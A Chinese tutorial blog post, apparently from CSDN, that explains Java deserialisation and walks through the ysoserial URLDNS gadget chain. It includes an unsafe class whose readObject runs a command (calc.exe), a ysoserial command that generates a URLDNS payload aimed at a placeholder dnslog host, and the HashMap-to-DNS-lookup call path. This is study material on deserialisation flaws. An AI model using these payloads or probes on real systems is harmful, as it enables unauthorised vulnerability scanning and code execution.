java-URLDNS链分析

什么是序列化和反序列化?

序列化是将 Java 对象转换成与平台无关的二进制流,而反序列化则是将二进制流恢复成原来的 Java 对象,二进制流便于保存到磁盘上或者在网络上传输。

如何实现序列化和反序列化

如果想要序列化某个类的对象,就需要让该类实现 Serializable 接口或者 Externalizable 接口。

如果实现 Serializable 接口,由于该接口只是个 “标记接口”,接口中不含任何方法,序列化是使用 ObjectOutputStream(处理流)中的 writeObject(obj) 方法将 Java 对象输出到输出流中,反序列化是使用 ObjectInputStream 中的 readObject(in) 方法将输入流中的 Java 对象还原出来。

不安全的类

重写了readObject方法,并且在该方法中执行了恶意命令

import java.io.IOException;
import java.io.Serializable;

public class UnSafeClass implements Serializable {
    public String name;

    //重写readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        //执行默认的readObject方法
        in.defaultReadObject();
        //执行命令
        Runtime.getRuntime().exec("calc.exe");
    }
}

调用ObjectOutputStream中的writeObject方法对这个类进行序列化

如果再使用ObjectInputStream 中的readObject方法对这个类进行反序列化,由于已经进行了readObject方法重写,那么就会执行readObject方法中的恶意代码。

测试代码

import java.io.*;

public class UnSafeTest {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        UnSafeClass obj = new UnSafeClass();
        obj.name="hack";

        //序列化
        ObjectOutputStream objectOut = new ObjectOutputStream(new FileOutputStream("D:/zzy.yyy"));
        objectOut.writeObject(obj);
        objectOut.close();

        //反序列化
        ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("D:/zzy.yyy"));
        UnSafeClass unSafeClass = (UnSafeClass) objIn.readObject();
        System.out.println(unSafeClass.name);
        objIn.close();

    }
}

URLDNS链分析

利用

ysoserial是一个集合了各种java反序列化利用链的工具,可以根据不同的利用链快速生成poc

1.利用这条指令将序列化后的数据存储到1.ser序列化文件中(获取dnslog地址填入)

java -jar ysoserial.jar URLDNS "http://xxxx.com" > 1.ser

2.使用ObjectInputStream 中的readObject方法对这个序列化文件进行反序列化

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class Test_URLDNS {
    public static void main(String[] args) throws Exception {
        ObjectInputStream oi = new ObjectInputStream(new FileInputStream("F:\\1.ser"));
        Object o = oi.readObject();
        System.out.println(o);
    }
}

3.执行后发现dnslog回显

 

原理分析

1.先查看URLDNS反编译后的源码

public class URLDNS
implements ObjectPayload<Object> {
    @Override
    public Object getObject(String url) throws Exception {
        SilentURLStreamHandler handler = new SilentURLStreamHandler();
        HashMap<URL, String> ht = new HashMap<URL, String>();
        URL u = new URL(null, url, handler);
        ht.put(u, url);
        Reflections.setFieldValue(u, "hashCode", -1);
        return ht;
    }

    public static void main(String[] args) throws Exception {
        PayloadRunner.run(URLDNS.class, args);
    }

    static class SilentURLStreamHandler
    extends URLStreamHandler {
        SilentURLStreamHandler() {
        }

        @Override
        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        @Override
        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }
}
URL(URL context, String spec, URLStreamHandler handler)通过在指定上下文中使用指定的处理程序解析给定规范来创建URL。

ysoserial会调用getObject方法并获得一个HashMap对象,键为URL对象,ysoserial根据这个对象序列化,那么我们反序列化的类也就是HashMap类,而HashMap类又重写了readObject方法.

2.分析HashMap类的readObject方法

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
                Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

注意最下方的hash(key),对键进行了hash计算,步入hash函数

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

如果键不为null,hash函数会调用键的hashCode方法,现在的键值为URL对象,我们跟进URL类的hashCode方法

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

此时这里的handler为URLStreamHandler子类对象,那么我们需要调用父类的hashCode方法

继续跟进URLStreamHandler的hashCode方法

protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

我们注意到这个方法调用了getHostAddress方法,这个方法源码如下

protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

getByName,顾名思义通过主机名获取ip地址,其实它执行了DNS查询

wireshark抓包

 至此分析完毕,URLDNS链本身不具有攻击性,但是它可以帮我们侦测目标是否存在反序列化漏洞,对我们学习反序列化有一定帮助,最后附上一张流程图。

本文仅供学习交流

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值